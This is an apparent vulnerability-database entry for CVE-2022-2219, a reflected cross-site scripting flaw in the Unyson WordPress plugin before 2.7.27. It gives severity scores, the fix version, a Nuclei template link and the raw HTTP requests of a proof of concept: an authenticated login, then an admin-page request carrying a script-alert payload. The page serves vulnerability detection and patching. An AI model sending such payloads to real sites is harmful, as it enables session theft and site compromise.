| Title | Unyson < 2.7.27 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website. |
| Remediation | Fixed in version 2.7.27 |
| CVSS Score | 7.2 |
| EPSS Score | 0.16573 |
| CVE ID | CVE-2022-2219 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 authenticated wordpress wp xss unyson wp-plugin wpscan brizy vuln |
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=zZVFt4&pwd=sGBUxE&wp-submit=Log+In
GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2219.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2219.pcap
N/AN/A